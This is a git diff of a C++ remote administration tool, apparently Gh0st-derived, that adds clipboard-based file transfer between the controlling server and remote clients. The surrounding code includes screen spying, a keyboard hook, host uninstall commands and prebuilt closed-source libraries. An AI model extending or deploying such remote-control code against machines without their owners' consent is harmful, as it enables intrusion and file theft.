diff --git a/Dependencies.md b/Dependencies.md index c7ed9c6..781849e 100644 --- a/Dependencies.md +++ b/Dependencies.md @@ -15,3 +15,13 @@ - [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket) - [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink) - [clip v1.11](https://github.com/dacap/clip) +- [PrivateDesktop v0.0.1](https://github.com/yuanyuanxiang/SimplePlugins) +- [FileUpload v0.0.1](https://github.com/yuanyuanxiang/SimplePlugins) + +## *Note* + +The proper operation of the program depends on the above library files. +Some libraries are not open source, please contact author for details. + +These libraries are all compiled personally by the author and can be used with confidence. +If you use libraries from other sources, there may be compilation risks. diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index a748d2f..48fe2ea 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -199,7 +199,9 @@ int main(int argc, const char *argv[]) HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(hMutex); +#ifndef _DEBUG return -2; +#endif } SetConsoleCtrlHandler(&callback, TRUE); @@ -208,6 +210,9 @@ int main(int argc, const char *argv[]) ClientApp& app(g_MyApp); app.g_Connection->SetType(CLIENT_TYPE_ONE); app.g_Connection->SetServer(ip, port); +#ifdef _DEBUG + g_SETTINGS.SetServer(ip, port); +#endif if (CLIENT_PARALLEL_NUM == 1) { // 启动单个客户端 StartClientApp(&app); diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index ec3ae53..1745489 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -195,6 +195,7 @@ + diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 9441798..76f1f1d 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -428,7 +428,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, HeaderEncType encType = HeaderEncUnknown; FlagType flagType = CheckHead(szPacketFlag, encType); if (flagType == FLAG_UNKNOWN) { - Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip %d.\n", + Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip: %d.\n", szPacketFlag, maskType, ret); m_CompressedBuffer->ClearBuffer(); break; diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 84da84e..7cdbb66 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -171,6 +171,14 @@ public: m_nHostPort = uPort; } + std::string ServerIP() const { + return m_sCurIP; + } + + int ServerPort() const { + return m_nHostPort; + } + BOOL IsRunning() const { return m_bIsRunning; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 321fc56..837a0c3 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -17,9 +17,34 @@ #include "ScreenCapturerDXGI.h" #include #include +#include "common/file_upload.h" +#include #pragma comment(lib, "Shlwapi.lib") +#ifndef PLUGIN +#ifdef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "FileUpload_Libx64d.lib") +#else +#pragma comment(lib, "FileUpload_Libx64.lib") +#endif +#else +int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; } +int UninitFileUpload() { return 0; } +std::vector GetClipboardFiles() { return{}; } +bool GetCurrentFolderPath(std::string& outDir) { return false; } +int FileBatchTransferWorker(const std::vector& files, const std::string& targetDir, + void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) { + finish(user); + return 0; +} +int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) { + return 0; +} +#endif +#endif + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -46,6 +71,11 @@ bool IsWindows8orHigher() CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { +#ifndef PLUGIN + extern CONNECT_ADDRESS g_SETTINGS; + m_conn = &g_SETTINGS; + InitFileUpload(""); +#endif m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; g_hDesk = nullptr; @@ -269,7 +299,7 @@ VOID CScreenManager::SendBitMapInfo() CScreenManager::~CScreenManager() { Mprintf("ScreenManager 析构函数\n"); - + UninitFileUpload(); m_bIsWorking = FALSE; WaitForSingleObject(m_hWorkThread, INFINITE); @@ -281,6 +311,45 @@ CScreenManager::~CScreenManager() m_ScreenSpyObject = NULL; } +void RunFileReceiver(CScreenManager *mgr, const std::string &folder) { + auto start = time(0); + Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId()); + IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType()); + if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) { + pClient->setManagerCallBack(mgr, CManager::DataProcess); + // 发送目录并准备接收文件 + char cmd[300] = { COMMAND_GET_FILE }; + memcpy(cmd + 1, folder.c_str(), folder.length()); + pClient->Send2Server(cmd, sizeof(cmd)); + pClient->RunEventLoop(TRUE); + } + delete pClient; + Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start); +} + +bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) { + IOCPClient* pClient = (IOCPClient*)user; + if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) { + return false; + } + return true; +} + +void RecvData(void* ptr) { + FileChunkPacket* pkt = (FileChunkPacket*)ptr; +} + +void delay_destroy(IOCPClient* pClient, int sec) { + if (!pClient) return; + Sleep(sec * 1000); + delete pClient; +} + +void FinishSend(void* user) { + IOCPClient* pClient = (IOCPClient*)user; + std::thread(delay_destroy, pClient, 15).detach(); +} + VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { switch(szBuffer[0]) { @@ -303,6 +372,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case COMMAND_SCREEN_GET_CLIPBOARD: { + auto files = GetClipboardFiles(); + if (!files.empty()) + { + char h[100] = {}; + memcpy(h, szBuffer + 1, ulLength - 1); + m_hash = std::string(h, h + 64); + m_hmac = std::string(h + 64, h + 80); + BYTE szBuffer[1] = { COMMAND_GET_FOLDER }; + SendData(szBuffer, sizeof(szBuffer)); + break; + } SendClientClipboard(); break; } @@ -310,6 +390,47 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1); break; } + case COMMAND_GET_FOLDER: { + std::string folder; + if (GetCurrentFolderPath(folder)) { + char h[100] = {}; + memcpy(h, szBuffer + 1, ulLength - 1); + m_hash = std::string(h, h + 64); + m_hmac = std::string(h + 64, h + 80); + + if (OpenClipboard(nullptr)) + { + EmptyClipboard(); + CloseClipboard(); + } + std::thread(RunFileReceiver, this, folder).detach(); + } + break; + } + case COMMAND_GET_FILE: { + // 发送文件 + auto files = GetClipboardFiles(); + std::string dir = (char*)(szBuffer + 1); + if (!files.empty() && !dir.empty()) { + IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { + std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend, + m_hash, m_hmac).detach(); + } + else { + delete pClient; + } + } + break; + } + case COMMAND_SEND_FILE: { + // 接收文件 + int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac); + if (n) { + Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str()); + } + break; + } } } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index eaeb834..37507b7 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -45,6 +45,12 @@ public: VOID SendClientClipboard(); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); + std::string m_hash; + std::string m_hmac; + CONNECT_ADDRESS *m_conn = nullptr; + void SetConnection(CONNECT_ADDRESS* conn){ + m_conn = conn; + } // 虚拟桌面 POINT m_point; POINT m_lastPoint; diff --git a/client/StdAfx.cpp b/client/StdAfx.cpp index 44ee16d..a86990a 100644 --- a/client/StdAfx.cpp +++ b/client/StdAfx.cpp @@ -6,3 +6,4 @@ // TODO: reference any additional headers you need in STDAFX.H // and not in this file +char g_MasterID[_MAX_PATH] = {}; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 0a7cb65..c8285a2 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -206,6 +206,7 @@ + diff --git a/client/ghost_vs2015.vcxproj.user b/client/ghost_vs2015.vcxproj.user index 88a5509..7c611df 100644 --- a/client/ghost_vs2015.vcxproj.user +++ b/client/ghost_vs2015.vcxproj.user @@ -1,4 +1,13 @@ 锘 - + + + + WindowsLocalDebugger + + + + + WindowsLocalDebugger + \ No newline at end of file diff --git a/common/commands.h b/common/commands.h index 734f16f..febb287 100644 --- a/common/commands.h +++ b/common/commands.h @@ -192,6 +192,9 @@ enum { TOKEN_UNINSTALL = 63, // 卸载主机 TOKEN_PRIVATESCREEN = 64, // 隐私屏幕 TOKEN_MACHINE_MANAGE = 65, // 机器管理 + COMMAND_GET_FOLDER = 66, // 获取目录 + COMMAND_GET_FILE = 67, // 获取文件 + COMMAND_SEND_FILE = 68, // 发送文件 // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 diff --git a/common/file_upload.h b/common/file_upload.h new file mode 100644 index 0000000..b16e814 --- /dev/null +++ b/common/file_upload.h @@ -0,0 +1,34 @@ +#pragma once + +#include +#include + +#pragma pack(push, 1) +struct FileChunkPacket +{ + unsigned char cmd; // COMMAND_SEND_FILE + uint32_t fileIndex; // 文件编号 + uint32_t totalNum; // 文件总数 + uint64_t fileSize; // 整个文件大小 + uint64_t offset; // 当前块在文件中的偏移 + uint64_t dataLength; // 本块数据长度 + uint64_t nameLength; // 文件名长度(不含 '\0') +}; +#pragma pack(pop) + +int InitFileUpload(const std::string hmac, int chunkSizeKb = 64, int sendDurationMs = 50); + +int UninitFileUpload(); + +std::vector GetClipboardFiles(); + +bool GetCurrentFolderPath(std::string& outDir); + +typedef bool (*OnTransform)(void* user, FileChunkPacket* chunk, unsigned char* data, int size); + +typedef void (*OnFinish)(void* user); + +int FileBatchTransferWorker(const std::vector& files, const std::string& targetDir, + void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac); + +int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac); diff --git a/common/logger.h b/common/logger.h index 24654c9..0382090 100644 --- a/common/logger.h +++ b/common/logger.h @@ -114,7 +114,11 @@ public: } cv.notify_one(); if (workerThread.joinable()) { - workerThread.join(); + try { + workerThread.join(); + } catch (const std::system_error& e) { + printf("Join failed: %s [%d]\n", e.what(), e.code().value()); + } } for (int i = 0; threadRun && i++ < 1000; Sleep(1)); } diff --git a/lib/FileUpload_Libx64.lib b/lib/FileUpload_Libx64.lib new file mode 100644 index 0000000..8849da3 Binary files /dev/null and b/lib/FileUpload_Libx64.lib differ diff --git a/lib/FileUpload_Libx64d.lib b/lib/FileUpload_Libx64d.lib new file mode 100644 index 0000000..a9a25e2 Binary files /dev/null and b/lib/FileUpload_Libx64d.lib differ diff --git a/lib/PrivateDesktop_Libx64.lib b/lib/PrivateDesktop_Libx64.lib index eb2ada3..76ef50b 100644 Binary files a/lib/PrivateDesktop_Libx64.lib and b/lib/PrivateDesktop_Libx64.lib differ diff --git a/lib/PrivateDesktop_Libx64d.lib b/lib/PrivateDesktop_Libx64d.lib index 3d8fe7d..1c87d30 100644 Binary files a/lib/PrivateDesktop_Libx64d.lib and b/lib/PrivateDesktop_Libx64d.lib differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 2d1cb16..806cf71 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -42,6 +42,8 @@ #include "CWalletDlg.h" #include #include "CRcEditDlg.h" +#include +#include "common/file_upload.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -262,8 +264,7 @@ DllInfo* ReadPluginDll(const std::string& filename) int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length()); if (offset != -1) { std::string masterId = GetPwdHash(), hmac = GetHMAC(); - if(hmac.empty()) - hmac = THIS_CFG.GetStr("settings", "HMAC"); + memcpy((char*)dllData + offset, masterId.c_str(), masterId.length()); memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length()); } @@ -964,7 +965,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() { AUTO_TICK(500); CDialogEx::OnInitDialog(); - + int ret = InitFileUpload(GetHMAC()); g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0); m_GroupList = {"default"}; @@ -1384,6 +1385,7 @@ void CMy2015RemoteDlg::OnClose() void CMy2015RemoteDlg::Release() { Mprintf("======> Release\n"); + UninitFileUpload(); DeletePopupWindow(); isClosed = TRUE; m_frpStatus = STATUS_EXIT; @@ -2050,6 +2052,30 @@ std::string getDateStr(int daysOffset = 0) return oss.str(); } +bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) { + CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user; + if (!ctx->Send2Client(data, size)) { + return false; + } + return true; +} + +void RecvData(void* ptr) { + FileChunkPacket* pkt = (FileChunkPacket*)ptr; +} + +void delay_cancel(CONTEXT_OBJECT* ctx, int sec) { + if (!ctx) return; + Sleep(sec*1000); + ctx->CancelIO(); +} + +void FinishSend(void* user) { + CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user; + // 闇瑕佺瓑寰呭鎴风鎺ユ敹瀹屾垚鏂瑰彲鍏抽棴 + std::thread(delay_cancel, ctx, 15).detach(); +} + VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) { if (isClosed) { @@ -2057,10 +2083,33 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } clock_t tick = clock(); unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0); + LPBYTE szBuffer = ContextObject->InDeCompressedBuffer.GetBuffer(); unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen(); // 銆怢銆戯細涓绘満涓婁笅绾垮拰鎺堟潈 // 銆恱銆戯細瀵硅瘽妗嗙浉鍏冲姛鑳 switch (cmd) { + case COMMAND_GET_FILE: { + // 鍙戦佹枃浠 + auto files = GetClipboardFiles(); + if (!files.empty()) { + std::string dir = (char*)(szBuffer + 1); + std::string hash = GetPwdHash(), hmac = GetHMAC(100); + std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend, + hash, hmac).detach(); + } + break; + } + case COMMAND_SEND_FILE: { + // 鎺ユ敹鏂囦欢 + std::string hash = GetPwdHash(), hmac = GetHMAC(100); + CONNECT_ADDRESS addr; + memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash))); + int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac); + if (n) { + Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str()); + } + break; + } case TOKEN_GETVERSION: { // 鑾峰彇鐗堟湰銆怢銆 // TODO 缁存寔蹇冭烦 bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1); @@ -3329,8 +3378,7 @@ void CMy2015RemoteDlg::OnOnlineUninstall() void CMy2015RemoteDlg::OnOnlinePrivateScreen() { std::string masterId = GetPwdHash(), hmac = GetHMAC(); - if (hmac.empty()) - hmac = THIS_CFG.GetStr("settings", "HMAC"); + BYTE bToken[101] = { TOKEN_PRIVATESCREEN }; memcpy(bToken + 1, masterId.c_str(), masterId.length()); memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length()); @@ -3536,21 +3584,45 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam { if (dlg == operateWnd)break; // [1] 鏈湴 -> 杩滅▼ - CString strText = GetClipboardText(); - if (!strText.IsEmpty()) { - BYTE* szBuffer = new BYTE[strText.GetLength() + 1]; - szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD; - memcpy(szBuffer + 1, strText.GetString(), strText.GetLength()); - dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1); - Mprintf("銆怌trl+V銆 浠庢湰鍦版嫹璐濆埌杩滅▼ \n"); - SAFE_DELETE_ARRAY(szBuffer); + auto files = GetClipboardFiles(); + if (!files.empty()) + { + // 鑾峰彇杩滅▼鐩綍 + BYTE szBuffer[100] = { COMMAND_GET_FOLDER }; + std::string masterId = GetPwdHash(), hmac = GetHMAC(100); + memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length()); + memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length()); + dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer)); + } + else + { + CString strText = GetClipboardText(); + if (!strText.IsEmpty()) { + BYTE* szBuffer = new BYTE[strText.GetLength() + 1]; + szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD; + memcpy(szBuffer + 1, strText.GetString(), strText.GetLength()); + dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1); + Mprintf("銆怌trl+V銆 浠庢湰鍦版嫹璐濆埌杩滅▼ \n"); + SAFE_DELETE_ARRAY(szBuffer); + } } } else if (g_2015RemoteDlg->m_pActiveSession) { // [2] 杩滅▼ -> 鏈湴 - BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; - g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(&bToken, sizeof(bToken)); + BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD}; + std::string masterId = GetPwdHash(), hmac = GetHMAC(100); + memcpy((char*)bToken + 1, masterId.c_str(), masterId.length()); + memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length()); + auto files = GetClipboardFiles(); + if (!files.empty()) { + if (::OpenClipboard(nullptr)) + { + EmptyClipboard(); + CloseClipboard(); + } + } + g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken)); Mprintf("銆怌trl+V銆 浠庤繙绋嬫嫹璐濆埌鏈湴 \n"); } else diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index ded396f..2e69a4a 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -256,6 +256,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 763b293..41f9a4d 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -123,6 +123,7 @@ + diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index f4b8da6..7a9e08c 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -18,7 +18,7 @@ char g_MasterID[_MAX_PATH] = { "61f04dd637a74ee34493fc1025de2c131022536da751c29 std::string GetPwdHash() { - static auto id = std::string(g_MasterID).substr(0, 64); + auto id = std::string(g_MasterID).substr(0, 64); return id; } @@ -29,14 +29,17 @@ const Validation * GetValidation(int offset) std::string GetMasterId() { - static auto id = std::string(g_MasterID).substr(0, 16); + auto id = std::string(g_MasterID).substr(0, 16); return id; } std::string GetHMAC(int offset) { const Validation * v= (Validation*)(g_MasterID + offset); - return v->Checksum; + std::string hmac = v->Checksum; + if (hmac.empty()) + hmac = THIS_CFG.GetStr("settings", "HMAC"); + return hmac; } extern "C" void shrink64to32(const char* input64, char* output32); // output32 蹇呴』鑷冲皯 33 瀛楄妭 diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index aea115a..b8ee817 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -309,7 +309,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) if ( !bOk && dwIOError != WAIT_TIMEOUT ) { //当对方的套机制发生了关闭 if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) { ContextObject->olps = NULL; - Mprintf("!!! RemoveStaleContext \n"); + Mprintf("!!! RemoveStaleContext: %d \n", WSAGetLastError()); This->RemoveStaleContext(ContextObject); } SAFE_DELETE(OverlappedPlus); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 9e0b320..28303f0 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -9,6 +9,7 @@ #include #include "CGridDialog.h" #include "2015RemoteDlg.h" +#include // CScreenSpyDlg 瀵硅瘽妗 @@ -29,6 +30,29 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) #define ALGORITHM_DIFF 1 +#ifdef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "FileUpload_Libx64d.lib") +#pragma comment(lib, "PrivateDesktop_Libx64d.lib") +#else +#pragma comment(lib, "FileUpload_Libx64.lib") +#pragma comment(lib, "PrivateDesktop_Libx64.lib") +#endif +#else +int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; } +int UninitFileUpload() { return 0; } +std::vector GetClipboardFiles() { return{}; } +bool GetCurrentFolderPath(std::string& outDir) { return false; } +int FileBatchTransferWorker(const std::vector& files, const std::string& targetDir, + void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) { + finish(user); + return 0; +} +int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) { + return 0; +} +#endif + extern "C" void* x265_api_get_192() { return nullptr; @@ -233,12 +257,23 @@ VOID CScreenSpyDlg::OnClose() DialogBase::OnClose(); } - VOID CScreenSpyDlg::OnReceiveComplete() { assert (m_ContextObject); auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0); + LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); + unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen(); switch(cmd) { + case COMMAND_GET_FOLDER: { + std::string folder; + if (GetCurrentFolderPath(folder)) { + // 鍙戦佺洰褰曞苟鍑嗗鎺ユ敹鏂囦欢 + BYTE cmd[300] = { COMMAND_GET_FILE }; + memcpy(cmd + 1, folder.c_str(), folder.length()); + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + } + break; + } case TOKEN_FIRSTSCREEN: { DrawFirstScreen(); break;